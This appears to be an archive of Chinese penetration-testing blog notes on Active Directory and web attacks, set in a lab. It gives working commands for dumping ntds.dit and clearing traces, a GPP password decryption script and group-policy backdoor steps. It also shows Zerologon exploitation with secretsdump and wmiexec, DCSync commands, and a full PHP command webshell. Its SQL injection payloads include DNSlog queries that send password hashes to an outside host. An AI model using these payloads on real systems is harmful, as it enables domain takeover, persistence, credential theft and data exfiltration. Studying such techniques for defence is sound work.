2022年2月

  • 应用背景


    通常情况下,即使拥有管理员权限,也无法读取域控中的 C:\Windows\NTDS\ntds.dit,ntds 中存储 AD 数据,包括有关用户对象,组和组成员身份的信息,包括域中所有用户的密码 hash,如果攻击者拿到了这个文件,可以用 mimikatz 实现 PTH 攻击,或者离线用 Hashcat 破解。
    这个文件和 SAM 文件一样,是被操作系统锁定的,一般情况下系统运维人员会利用卷影拷贝服务(volume Shadow Copy Server,VSS)实现 ntds.dit 的拷贝。
    一般域环境内最重要的三个文件如下:
    ntds.dit文件位置: C:\\Windows\\NTDS\\NTDS.dit
    system文件位置:C:\\Windows\\System32\\config\\SYSTEM
    sam文件位置:C:\\Windows\\System32\\config\\SAM
    
  • NTDS 的加密


    加密方式是 2 层 RC4 + 1 层 DES,如果解密必须执行以下步骤:
    1.使用启动密钥(RC4-第1层)解密PEK(密码加密密钥)  
    2.第一轮哈希解密(使用PEK和RC4-第2层)  
    3.第二轮哈希解密(DES-第3层)
    

    首先是要解密 PEK,PEK或密码加密密钥用于加密NTDS.DIT中存储的数据。该密钥在整个域中都是相同的,这意味着在所有域控制器上它都是相同的。
    PEK本身也以加密形式存储在NTDS.DIT中。为了对其进行解密,将需要来自获得NDTS.DIT文件的同一域控制器中的注册表(SYSTEM配置单元)。这是因为PEK是使用BOOTKEY加密的,该BOOTKEY在所有域控制器(实际上在域中的所有计算机)上都是不同的。
    为了解密 PEK,要从 NTDS.DIT 中获取 ATTk590689 字段,该值的长度位 76 个字节
    标头8字节 + RC4的密钥材料16字节 + 加密的PEK 52字节
    

    解密后 PEK 密钥的实际是为最后 16 字节。当获得密钥后可用以下解密算法:
    md5 = MD5.new()
    md5.update(bootkey)
    for i in range(1000):
    md5.update(enc_pek [0:16])
    rc4_key = md5.digest();
    rc4 = ARC4.new(rc4_key)
    pek = rc4.encrypt(enc_pek [16:])
    return pek [36:]
    

    现在已经获得了 PEK,下一步就是解密 ATTk589879 (加密的LM哈希 )和 ATTk589914 (加密的NT哈希) 属性中的哈希。
    第二步是删除 RC4 加密层,解密 RC4 的密钥是 PEK 密钥 + 加密哈希的前16字节,加密哈希结构如下:
    标头8字节 + RC4的密钥材料16字节 + 加密的哈希16字节
    

    python 实现代码:
    md5 = MD5.new()
    md5.update(pek)
    md5.update(enc_hash [0:16])
    rc4_key = md5.digest();
    rc4 = ARC4.new(rc4_key)
    denc_hash = rc4.encrypt(enc_hash [16:])
    

    最后是删除 DES 加密层
    (des_k1,des_k2)= sid_to_key(rid)
    d1 = DES.new(des_k1,DES.MODE_ECB)
    d2 = DES.new(des_k2,DES.MODE_ECB)
    hash = d1.decrypt(denc_hash) [:8]+ d2.decrypt(denc_hash [8:])
    
  • 抓取 ntds.dit


    创建快照:
    ntdsutil snapshot "activate instance ntds" create quit quit
    

    挂载快照:
    ntdsutil snapshot "mount {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
    

    复制 ntds.dit
    copy C:\$SNAP_202202221846_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
    

    image-20220222184901867
    现在在 c 盘已经可以看到 ntds.dit
    image-20220222185733196
    之后要做一些清除痕迹的工作:
    卸载快照:
    ntdsutil snapshot "unmount {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
    

    删除快照:
    ntdsutil snapshot "delete {35819391-5b5f-4aec-8df2-14576c9f5593}" quit quit
    
  • 用 diskshadow 导出


    diskshadow 执行文件中的命令
    //设置卷影拷贝  
    set context persistent nowriters
    //添加卷
    add volume c: alias someAlias
    //创建快照
    create
    //分配虚拟磁盘盘符
    expose %someAlias% z:
    //将ntds.dit复制到C盘中
    exec "cmd.exe" /c copy z:\\windows\\ntds\\ntds.dit c:\\ntds.dit
    //删除所有快照
    delete shadows all
    //列出系统中的卷影拷贝
    list shadows all
    //退出
    reset
    exit
    

    执行(需要进入C:\Windows\System32目录下执行)
    diskshadow /s C:\\command.txt
    
  • 用 vssadmin 导出


    vssadmin create shadow /for=c:
    copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy6\windows\ntds\ntds.dit c:\\ntds.dit
    vssadmin delete shadows /for=c: /quiet
    

    image-20220222191640003
  • 参考文献:


  • 关于组策略


    组策略可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。可以设置一次组策略然后在多台计算机上使用。
    大多数组织机构为了安全,可能都会要求修改密码,标准的做法是利用组策略批量设置工作站的本地 Administrator 密码,这样带来的问题就是如果黑客拿到了一个系统的 Administrator 认证凭据,就能拿到所有机器的权限。
    其中一种解决方法就是使用 SYSVOL(活动目录中的全域共享文件夹),可以在所有域控中进行自动同步和共享,所有认证用户都可以读取,其中包括登录脚本,组策略数据和其他域控所需要的域数据。
    位置:\<domain>\SYSVOL\<domain>\Policies\</domain></domain>
    

    在 win2008 中发布了 GPP(组策略偏好),GPP 提供了一个自动化机制,利用显式凭据结合组策略部署了计划任务,一次性批量更改了电脑的本地管理的密码。
    当管理创建了一个新的 GPP 时,SYSVOL 里有一个 XML 文件存放了 AES-256 加密后的密码,但微软却在 2012 年发布了 AES 的私钥。。。
    因为所有域用户对 SYSVOL 都有读权限,在域里的任何用户可以搜索 SYSVOL 共享中的带有 cpassword 字样的 XML 文件,里面包含了 AES 加密的密码。
  • 利用本地组策略加载后门


    gpedit.msc->本地组策略编辑器->window设置(system)->脚本->启动
    可以在里面添加木马(复制到 C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup)或者 ps1 脚本文件。
    image-20220222225234745
    重启后 cs 上线
    image-20220222225409784
  • 域组策略


    机器有域环境的话,系统管理工具会多出组策略管理功能,域管理员能够很方便统一地对域内的机器和用户进行统一管理。
    AD域中两个默认的共享文件夹:SYSVOL NETLOGON
    NETLOGON目录
    
    挂载点:SYSVOL\domain\SCRIPTS 主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol下面的一个子目录文件夹
    
    SYSVOL目录
    
    SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。
    

    image-20220222225859277
  • 域组策略的利用


    直接执行脚本
    和本地组策略的利用类似,在组策略编辑器中添加一个启动脚本
    strComputer = "."
    Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
    objUser.SetPassword "123QWE!@#"
    objUser.SetInfo
    

    然后强制更新组策略
    gpupdate /force
    

    最后查找到被更新的组策略
    image-20220223001913183
    shell for /r \\dc/sysvol %i in (*.vbs) do @echo %i
    shell for /r \\dc/sysvol %i in (*.bat) do @echo %i
    

    GPP漏洞的利用
    直接执行脚本只能在 win server 2008 上没打补丁的版本存在,以后的版本无法写入密码,因为如果使用 GPP,输入的用户密码都会以 AES-256 的方式存在 SYSVOL 下对应的 xml 文件中,但在高版本 GPP 就不能输入密码,这个洞也就无了。
    现在的攻击手法就是获取 GPP 泄露的密码:
    在组策略管理中新建一个 OU 组:
    image-20220223003133708
    在这个 OU 中新建一个使用了 GPP 的本地用户密码的策略,并获取到该 GPO 的 ID
    image-20220223003402181
    方便演示添加一个新的用户
    image-20220223003840432
    然后根据这个 ID 到 SYSVOL 中搜索
    C:\Windows\SYSVOL\sysvol\god.org\Policies\{2559CA36-02A9-4C7A-AC1F-553AC2C1A567}\Machine\Preferences\Groups
    

    image-20220223003918367
    可以看到 gpptest 用户名对应的加密密码,这里用 python 脚本解密一下
    #!/usr/bin/python
    #
    # Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
    #
    # This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
    #
    
    import sys
    from Crypto.Cipher import AES
    from base64 import b64decode
    
    
    # Init the key
    # From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
    key = """
    4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
    f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
    """.replace(" ","").replace("\n","").decode('hex')
    
    # Add padding to the base64 string and decode it
    cpassword = "AOXP8WcaNw/4jbOKeBQ/zubT3+T5UWA8P7EFVNEh2+E"
    cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
    password = b64decode(cpassword)
    
    # Decrypt the password
    o = AES.new(key, AES.MODE_CBC, "\x00" * 16).decrypt(password)
    
    # Print it
    print o[:-ord(o[-1])].decode('utf16')
    

    image-20220223004406751
  • 敏感文件搜集


    1.命令行下搜索
    dir /s /a \\DC\SYSVOL\*.xml
    

    2.Get-GPPPassword.ps1
    运行后会自动遍历 SYSVOL 下的敏感文件并将密码解密。
    3.通过用户进行查找
    查看域内共享
    get-domaincomputer|get-netshare
    查看域用户信息
    Get-DomainUser -identity gpptest
    查看该用户的组信息
    Get-DomainOU
    

    发现 GPO 的 link 链接,直接去找对应的文件夹就可以了
    image-20220223005421014
  • 后门利用


    当拿下域控的时候可以用 GPP 指定控制 OU 下的所有用户
    1.直接写脚本
    直接把木马脚本放在域策略,或新建 GPO 在启动中放入木马,然后将该 GPO 连接到目标 OU 下就可以直接打。
    2.计划任务实现远程执行
    可定时收集信息且比较隐蔽,使用 New-GPOImmediateTask.ps1 完成。
  • 参考文献


图来自 https://www.anquanke.com/member.html?memberId=149714 师傅的文章,跟着重新复习了几条常见 CC 链,同时捋了一下 java 反序列化 gadget 链的挖掘思路。

  • 挖掘思路


    一般从可执行命令的地方开始(任意代码执行/动态加载字节类),一步一步往上找,直到进到一个能反序列化类的 readObject 方法。
  • CC1


    t012f7027c5f2e5990b
    执行命令的部分来自 ChainedTransformer 的执行链,其中 InvokerTransformer 可以执行任意类的任意方法,然后利用 ChainedTransformer 把 InvokerTransformer 串起了,达到任意命令执行的效果。
    下一步就是找一个 可控类.transform()(触发命令执行),这里用的是 LazyMap.decorate 方法,第二个参数接受一个 Transformer(ChainedTransformer的父类),在 LazyMap 的 get 方法中触发了命令的执行:
    public Object get(Object key) {
            if (!super.map.containsKey(key)) {
                Object value = this.factory.transform(key);
                super.map.put(key, value);
                return value;
            } else {
                return super.map.get(key);
            }
        }
    

    接着就是找 可控类.get ,在 AnnotationInvocationHandler invoke方法中找到了可以用的方法
     Object var6 = this.memberValues.get(var4);
    

    关于 invoke 方法的调用,就可以用 AnnotationInvocationHandler 的代理来触发,代理成功之后在调用原来类方法的时候,首先会调用 InvocationHandler实现类(也就是 AnnotationInvocationHandler)的 invoke 方法。所以最后只要把 memberValues 设置为代理类,在 AnnotationInvocationHandler.readObject 中调用了 entrySet 方法时就会触发 invoke 方法。
  • CC2


    cc2 依赖的时 commons-collections4.0,和 CC1 几乎是完全不同的思路。
    t019438ead74d456810
    CC2 中触发了命令利用了 TemplatesImpl 动态加载字节码
    image-20220223103137275
    其中要将字节码以二维数组的形式存储在 _bytecodes 中,字节码的生成可以直接读一个 class 文件或者用 Javassist 修改,注意要继承抽象类 AbstractTranslet
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
    

    调用 Templateslmpl 也可以用 InvokerTransformer 来完成,那么下一步还是要找 可控类.transform(),CC2 中用的是 TransformingComparator.compare 方法,
        public int compare(I obj1, I obj2) {
            O value1 = this.transformer.transform(obj1);
            O value2 = this.transformer.transform(obj2);
            return this.decorated.compare(value1, value2);
        }
    

    接着在 PriorityQueue 中找到了 siftDownUsingComparator 方法可以调用 compare 方法,参数存放在 queue 中(这一部分其实是一个二叉堆的实现),在 siftDown 中找到了调用,
        private void siftDown(int k, E x) {
            if (comparator != null)
                siftDownUsingComparator(k, x);
            else
                siftDownComparable(k, x);
        }
    

    下一步可以在 heapify 中找到 siftDown 的调用,在 readObject 中调用 heapify,链子这就串起来了。
  • CC3


    如果前两条链都用 Find Usage 方式找调用的方法,就会发现还有很多可以用的方式。
    t01181aaf1ddb8ae282
    CC3 和 CC2 主要的区别是调用加载字节码的方式不同,InvokerTransformer 类调用任意对象的任意方法(调用的templates中的newTransformer方法)在 commons-collections:4.4 中被修补,CC3 利用了 TraXFilter,同样是调用 templates中的newTransformer方法实现字节码的加载。
        public TrAXFilter(Templates templates)  throws
            TransformerConfigurationException
        {
            _templates = templates;
            _transformer = (TransformerImpl) templates.newTransformer();
            _transformerHandler = new TransformerHandlerImpl(_transformer);
            _overrideDefaultParser = _transformer.overrideDefaultParser();
        }
    

    如何触发 TrAXFilter 的构造方法有两种思路,第一种是利用 CC1 中 ChainedTransformer 执行链可以执行任意类的任意方法这一特点,直接调用 TrAXFilter 中的 templates 中的 newTransformer,剩下的部分就和 CC1 一样了(相当于修改了 CC1 命令执行的方式)。
    第二种方式引入了新的 InstantiateTransformer 类,用其中的 transform 方法,
    image-20220223112713411
    transform 方法调用时会反射执行其传递的参数 class 类的有参构造函数,就可以触发TrAXFilter 的构造方法。至于如何调用 InstantiateTransformer 的 transform 方法也是通过 CC1 的前半段完成的。
  • CC4


    cc2 的前半段 + cc3 的后半段
    t01e85b30f42ab156c7
  • CC5


    执行命令部分用的 CC1 后半段,在触发方式上做了修改
    t0131f14bdb6104db76
    在 LazyMap 中的 getValue 会调用 get 方法,在 TiedMapEntry 的 toString 中发现了 getValue
    public String toString() {
            return this.getKey() + "=" + this.getValue();
        }
    

    然后就是要找一个 可控类.toString 方法,CC5 用的是 BadAttributeValueExpException 的 readObject,刚好也可以触发反序列化。
    image-20220223121510425
    其中的 valObj 也是可以通过反射被我们控制的。
  • CC6


    和 CC5 的后半段一样,不过是用 TiedMapEntry 中的 hashCode 调用的Lazymap 的 getValue 方法
    t0117e939ee71ef5422
        public int hashCode() {
            Object value = this.getValue();
            return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
        }
    

    这里是通过 HashMap 中的 hash 调用的 key.hashCode,在 put 中调用 hash
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
    

        public V put(K key, V value) {
            return putVal(hash(key), key, value, false, true);
        }
    

    然后就是要找 可控类.put 方法,正好在 HashSet 的 readObject 中就可以直接调用。
            for (int i=0; i<size; i++) {
                @SuppressWarnings("unchecked")
                    E e = (E) s.readObject();
                map.put(e, PRESENT);
            }
    

    其中的 s 就是传入的字节流。
  • CC7


    后半段还是 CC1 不变,又换了中方式调用 LazyMap.get
    t010cf1e49b1a3d5af4
    在 AbstractMap 中 equals 方法中可以找到可控的 get 方法,
    image-20220223124353975
    再找一个调用 equals 方法的位置,用了 Hashtable 中的 reconstitutionPut 方法,而 reconstitutionPut 就在 Hashtable 的 readObject 中调用,也就完成了反序列的链接。
  • 参考文献


 

  • 漏洞复现


    靶机用的 vulnstack2 的 DC,攻击机 kali,设置同一网段。
    工具:https://github.com/dirkjanm/CVE-2020-1472
    python3 cve-2020-1472-exploit.py DC 192.168.157.135  (域控密码置空)
    空 hash 为:31d6cfe0d16ae931b73c59d7e0c089c0
    

    机器用户不能直接登录,但域控的机器用户具备 Dcsync 特权,可以滥用该特权进行 Dcsync。
    (见补充)
    然后使用 impacket 中的 secretsdump 导出用户所有凭据
    python secretsdump.py de1ay.com/DC\$@192.168.157.135 -no-pass
    

    image-20220208224705070
    DC的密码已被置空,同时拿到了 administrator 的 hash,可利用这个拿下域控
    python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3b24c391862f4a8531a245a0217708c4 Administrator@192.168.157.135
    

    image-20220208224953006
    因为密码置空后,用户在 AD 中的密码(ntds.dic)与本地的注册表 /lsass 里面的密码不一致,会脱离域控,所以要将其恢复。有三种方法。
    • 从注册表/lsass里面读取机器用户原先的密码,恢复AD里面的密码

      shell 中执行
      reg save HKLM\SYSTEM system.save
      reg save HKLM\SAM sam.save
      reg save HKLM\SECURITY security.save
      get system.save
      get sam.save
      get security.save
      del /f system.save
      del /f sam.save
      del /f security.save
      

      利用 secretsdump 提取密码
      python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
      

      最后用 restorepassword.py 恢复就行了
      python3 restorepassword.py de1ay.com/DC@192.168.157.135 -target-ip 192.168.157.135 -hexpass 6fe0c5167f01d42217a8f7836947654eb7884222fda599f3c96ab98ca48632e699f888b7191559582a5a1d61c6ab1d0ee3415a41580d802efe1b546453a647675ca1706f86f6e9bbd17469ffe4cda5abb86a1f9f91651959a7662aad2f2695cd71ba46ebd5708ae5c447ac81f0154b09bf1e7cfa9a5dd3fe99160101ef487c829481d126cfaa48d8b753df22f20c8717762a0eae4d0149c7069397bbe956a400e7fe4b956aa7185761cf8ec4e2cfe7e6f15bba48469ba9052b284fb1f5997bf22e34727cb180d82007198468386a25d61e0f129d78b7327b009cf8db733276f76ab5c1749b33bc2b6592f43f2a846970
      
    • 从 ntds.dict 中读密码然后恢复 AD 中的密码

      python secretsdump.py de1ay.com/DC\$@192.168.157.135 -dc-ip 192.168.157.135 -just-dc-user de1ay\\administrator -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0 -history
      
    • 一次性重置计算机的机器账户密码(包括AD,注册表,lsass 里面的密码)

      powershell Reset-ComputerMachinePassword
      
  • 漏洞分析


    • 加密过程中的问题:

      netlogon 用于对域中用户和其他服务进行身份验证,使用 RPC协议 MS-NRPC 通讯。
      机器用户访问 RPC 函数之前会里利用本身的 hash 进行校验,使用了 AES_CFB8 加密方式,
      t0134ae7013f4c14efa
      而当 IV 的 8 字节都是 0 的时候(IV=000000000000000000000000000000),如果使每一轮的明文内容和参加 AES 运算的上一轮密文的前 8 位相同,就可以保证每一轮加密后的密文是00,最后得到的密文也就是 000000000000000000000000000000。
      在 key 固定的情况下,参加 AEC运算的上一轮密文的前 8 位是固定的,而每一轮的明文和参加 AES 运算的上一轮密文的前 8 位一样,那么要求每一轮的明文内容必须一样,所以明文就是 abababab 这种格式。
      最后要解决的就是确保第一轮(加密 IV) 的结果的前 8 位和明文前 8 位相同就可以了。只需要 2 的 8 次方次就可,也就是说即使不知道 key通过反复运行多次就能撞到我们想要的条件了。
    • netlogon 认证协议绕过

      t018b7c797053d32722
      计算 ClientChallenge 使用 ComputeNetlogonCredential 函数,通过协商 flag 来选择是用 DES_ECB 还是 AES_CFB 加密。
      所以可以重复向 Server 发送一个 ClientChanllenge(满足 ababab 格式),直到出现一个 session_key,使得服务端生成的 ClientCredential 也为00000000000000。
      这里默认还会增加签名校验(通过 session_key)加密,但我们的 session_key 为 0000000000000000 无法生成签名,所以要取消对应标志位来关闭这个选项。
    • 重置密码漏洞:

      在认证绕过后,就可以调用任意 RPC 函数了,作者最后选择了 NetrServerPasswordSet2,大致原因就是调用之前需要经过认证,而认证部分的参数我门可控(通过 ClientChallenge),也就是能绕过了。
  • 补充1:Dcsync 攻击


    域内的不同 DC 之间,每 15min 都会有一次域数据同步,DC 会发送一个 GetNCChanges 请求给另一个 DC,请求的数据需要同步的数据,那么如果有一个 Dcsync 权限的用户就可以模仿成一个域控,向真实域控请求数据。
    有 Dcsync 权限的用户:
    • Administrators组内的用户
    • Domain Admins组内的用户
    • Enterprise Admins组内的用户
    • 域控制器的计算机帐户

    即:默认情况下域管理员组具有该权限
    可通过 mimikatz 实现
    mimikatz.exe "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
    

    或者 powershell,工具 powerview + https://gist.github.com/monoxgas/9d238accd969550136db
     Import-Module .\powerview.ps1
    Get-ObjectAcl -DistinguishedName "dc=1ight,dc=top" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')} (查找域内拥有复制或更改目录权限的用户)
    Add-ObjectAcl -TargetDistinguishedName "dc=1ight,dc=top" -PrincipalSamAccountName username -Rights DCSync -Verbose    (授予任何用户DCsync权限)
    Invoke-DCSync -DumpForest | ft -wrap -autosize  (导出域内所有用户的 hash)
    Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -a (导出 administrator账户的 hash)
    
  • 补充2:DCShadow 攻击


    具备域管理员权限条件下,攻击者可以创建伪造的域控制器,将预先设定的对象或对象属性复制到正在运行域服务器中。
    攻击流程:
    1. 在目标域的 AD 活动目录注册一个伪造的 DC 中;
    2. 使伪造的 DC 被其他的 DC 认可,能够参与域复制 ;
    3. 强制触发域复制,将指定的新对象或修改后的对象属性同步复制到其他 DC 中;

     
  • 参考文献:


  • MySQL 注入写 shell


    • sqlmap --os-shell原理

      两部分构成,先写一个文件上传的接口
      <?php
      if (isset($_REQUEST["upload"]))
          {$dir=$_REQUEST["uploadDir"];
          if (phpversion()<'4.1.0')
              {
              $file=$HTTP_POST_FILES["file"]["name"];
              @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();
              }
          else
              {
                  $file=$_FILES["file"]["name"];
                  @move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();
              }
          @chmod($dir."/".$file,0755);
          echo "File uploaded";}
      else {
          echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\phpstudy\\PHPTutorial\\WWW\\> <input type=submit name=upload value=upload></form>";
          }
      ?>
      

      然后尝试一下是否能访问,找到后就可以传马
      <?php 
      $c=$_REQUEST["cmd"];
      @set_time_limit(0);
      @ignore_user_abort(1);
      @ini_set("max_execution_time",0);
      $z=@ini_get("disable_functions");
      if(!empty($z)){
          $z=preg_replace("/[, ]+/",',',$z);
          $z=explode(',',$z);$z=array_map("trim",$z);
      }else{$z=array();}
      $c=$c." 2>&1\n";
      function f($n){
          global $z;
          return is_callable($n)and!in_array($n,$z);
      }
      if(f("system")){
          ob_start();system($c);
          $w=ob_get_clean();
      }
      elseif(f("proc_open")){
          $y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);
          $w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);
      }
          @proc_close($y);}
      elseif(f("shell_exec")){
          $w=shell_exec($c);
      }
      elseif(f("passthru")){
          ob_start();
          passthru($c);
          $w=ob_get_clean();
      }
      elseif(f("popen")){
          $x=popen($c,r);
          $w=NULL;
          if(is_resource($x)){
              while(!feof($x)){
                  $w.=fread($x,512);
                  }
          }
          @pclose($x);
      }
      elseif(f("exec")){
          $w=array();
          exec($c,$w);
          $w=join(chr(10),$w).chr(10);
      }else{$w=0;}
      echo"<pre>$w</pre>";?>
      
    • sql 注入写 shell

      前提条件:
      1.知道绝对路径(猜+爆破)
      2.远程目录有写权限
      3.数据库开启secure_file_priv
      4.mysql连接用户有FILE权限/ROOT用户/ROOT权限
      

      其中
      在 MySQL 5.5 之前 secure_file_priv 默认为空
      在 MySQL 5.5 之后 secure_file_priv 默认为NULL
      

      secure_file_priv效果
      NULL不允许导入导出
      可以读写,但是不能动态更改
      指定文件夹MySQL的导入导出只能发生在指定文件夹

      默认情况下写不进去。。。
    • 慢日志写shell

      查询时间超过慢日志要求查询时间的查询都会存入慢日志,如果把日志的查询路径改成木马文件,就可以使用恶意查询语句。
      规避了 secure_file_priv 的限制,但要去 mysql 连接用户有权限开启日志记录和更换日志路径
      # 1.查看当前慢查询日志目录
      show variables like "%slow%";
      # 2.开启慢查询日志的功能
      set global slow_query_log=on
      # 3.重新设置日志路径,注意设置为网站的绝对路径
      set global slow_query_log_file="指定的路径"   # 将日志路径设置为网站路径WWW下
      # 4.设置慢查询时间(构造查询大于慢日志纪录的时间)
      set global slow_launch_time=X   # X>original_slow_launch_time   # 有时候网络延迟,也会大于原来设置的时间,会记录不必要的信息,而设置大于原来时间或者及以上则可以排出这种干扰
      # 5.执行SQL语句,写webshell进日志文件
      select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10);  
      
    • 堆叠注入写 shell

      通常 sql 注入有诸多限制,比如只能查不能增删改,不能更改数据库设置,而堆叠注入相当于获取了数据库密码进行直连,直接操作数据库
      MySQL中如果用的是mysqli pdo处理的话,有的可以堆叠,mssql+aspx是原生堆叠,Oracle要看代码层面是怎么写。
       MysqliPDOMySQL
      引入的PHP版本5.05.03.0之前
      PHP5.x是否包含
      服务端prepare语句的支持情况
      客户端prepare语句的支持情况
      存储过程支持情况
      多语句执行支持情况大多数
  • MySQL 注入读文件


    也是基于有路径的前提下,
    load_file() :读取指定文件(受 secure_file_priv 限制)
    load data infile 和 load data local infile,不受 secure-file-priv 的限制,但是需要堆叠。
    

    两者的不同:
    如果你没有给出local,则服务器按如下方法对其进行定位:
    1)如果你的filename为绝对路径,则服务器从根目录开始查找该文件.
    2)如果你的filename为相对路径,则服务器从数据库的数据目录中开始查找该文件.
    
    如果你给出了local,则文件将按以下方式进行定位:
    1)如果你的filename为绝对路径,则客户机从根目录开始查找该文件.
    2)如果你的filename为相对路径,则客户机从当前目录开始查找该文件.
    

    其中,load data local infile 的权限要看连接 mysql 服务器的客户端,任意读取客户端文件的原理就是执行了:
    load data local infile "/etc/passwd" into table test
    

    如果客户端是通过的mysql 客户端 对应的权限就是 mysq l的 如果是 php 的扩展可能就是 apache 的。
  • order by 注入


    首先要说一下这个技术存在的意义,目前主流防 sql 注入都是用参数化的方法(预编译),但是 order by 后面不能参数化,也很容易存在注入点(比如排序功能的位置)。本质原因是一方面预编译又只有自动加引号的 setString() 方法,没有不加引号的方法;而另一方面 order by后接的字段名不能有引号。那么进一步扩展一下:不只 order by,凡是字符串但又不能加引号的位置都不能参数化;包括sql关键字、库名表名字段名函数名。
    注入方式:
    报错注入:
    /?order=IF(1=2,1,(select+1+from+information_schema.tables))
    /?order=(select+1+regexp+if(1=2,1,0x00)
    /?order=updatexml(1,if(1=2,1,user()),1)
    /?order=extractvalue(1,if(1=2,1,user()))
    盲注:
    /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test))
    查询:
    /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00))
    
  • 配合 Dnslog


    在无法直接利用漏洞获得回显的情况下,通过发起 DNS 请求外带数据。提交注入语句,让数据库把需要查询的值和域名拼接起来,然后发生 DNS 查询,我们只要能获得 DNS 的日志,就得到了想要的值
    mysql:
    http://127.0.0.1/mysql.php?id=1 union select 1,2,load_file(CONCAT('\\',(SELECT hex(pass) 
    FROM test.test_user WHERE name='admin' LIMIT 1),'.mysql.nk40ci.ceye.io\abc'))
    

    load_file 在 linux 下无法用 dnslog 攻击,因为 linux 中没有 UNC 路径 (\\)
    UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。
    

    mssql:
    http://127.0.0.1/mssql.php?id=1;
    DECLARE @host varchar(1024);SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) 
    FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
    EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');
    

    postgresql:
    http://127.0.0.1/pgSQL.php?id=1;DROP TABLE IF EXISTS table_output;
    CREATE TABLE table_output(content text);
    CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
    DECLARE query_result TEXT;
    BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
    exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';
       EXECUTE exec_cmd;
    END;
    $$ LANGUAGE plpgSQL SECURITY DEFINER;
    SELECT temp_function();
    

    或者用 db_link 扩展(但默认不开启)
    http://127.0.0.1/pgsql.php?id=1;CREATE EXTENSION dblink; 
    SELECT * FROM dblink('host='||(select encode(pass::bytea,'hex') from test_user where id =1)||'.vvv.psql.3.nk40ci.ceye.io user=someuser dbname=somedb', 
    'SELECT version()') RETURNS (result TEXT);
    

    oracle:
    利用方式很多了:
    UTL_HTTP.REQUEST:
    select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.nk40ci.ceye.io') FROM sys.DUAL;
    DBMS_LDAP.INIT:
    select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.nk40ci.ceye.io',80) FROM sys.DUAL;
    HTTPURITYPE:
    select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.nk40ci.ceye.io') FROM sys.DUAL;
    
  • MSSQL 注入


    • 判断是否是 MSSQL

      报错:
      asp?id=49 and user>0
      系统表回显:(IIS 报错关闭)
      asp?id=49 and (select count() from sysobjects)>0
      asp?id=49 and (select count() from msysobjects)>0
      (如果第一条返回页面与原页面相同,第二条与原页面不同,几乎可以确定是MSSQL,否则便是Access)
      
    • 权限判断

      and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否是系统管理员
      and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限
      and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限
      ;declae @d int //判断MsSQL支持多行语句查询
      and user>0 //获取当前数据库用户名
      and db_name()>0 //获取当前数据库名称
      and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
      and 1=(select @@servername) //本地服务名
      and 1=(select HAS_DBACCESS(‘master’)) //判断是否有库读取权限
      
    • 查询语句

      查库
